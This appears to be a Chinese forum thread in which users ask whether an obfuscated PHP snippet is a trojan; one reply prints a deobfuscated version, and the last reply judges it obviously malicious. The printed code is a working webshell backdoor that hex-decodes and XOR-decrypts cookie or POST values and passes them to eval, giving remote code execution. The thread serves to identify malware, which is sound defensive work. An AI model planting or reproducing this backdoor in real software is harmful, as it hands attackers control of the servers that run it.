这是马？

cxd44

帮顶，看看什么问题

fgpgy

加密了

itbobo

一步一步翻译过来就知道干嘛了

itbobo

1. $wdkrt = 'ka6fbtmHdxi8opnrvl1\'e04*s_g3y-u7#c92';
   
2. $mxavm = Array();
   
3. $mxavm[0] = '0e87df1c-4837-4122-b692-bae83b90e1a6';
   
4. $mxavm[1] = 'H*';
   
5. $mxavm[2] = '#';
   
6. $mxavm[3] = 'count';
   
7. $mxavm[4] = 'str_repeat';
   
8. $mxavm[5] = 'explode';
   
9. $mxavm[6] = 'substr';
   
10. $mxavm[7] = 'array_merge';
    
11. $mxavm[8] = 'strlen';
    
12. $mxavm[9] = 'pack';
    
13. foreach (array_merge($_COOKIE, $_POST) as $jbmwo => $eyzaqt){
    
14.     function amuzp($mxavm, $jbmwo, $vfruhe){
    
15.         return substr(str_repeat($jbmwo . '0e87df1c-4837-4122-b692-bae83b90e1a6', ($vfruhe / strlen($jbmwo)) + 1), 0, $vfruhe);
    
16.     }
    
17.     function rbwcal($mxavm, $ufkgca){
    
18.         return @pack('H*', $ufkgca);
    
19.     }
    
20.     function sbfawmr($mxavm, $ufkgca){
    
21.         $fhbsrqm = count($ufkgca) % 3;
    
22.         if (!$fhbsrqm) {
    
23.             eval($ufkgca[1]($ufkgca[2]));
    
24.             exit();
    
25.         }
    
26.     }
    
27.     $eyzaqt = rbwcal($mxavm, $eyzaqt);
    
28.     sbfawmr($mxavm, explode('#', $eyzaqt ^ amuzp($mxavm, $jbmwo, strlen($eyzaqt))));
    
29. }

复制代码

ywfhack

都不用看内容 这么搞的肯定是马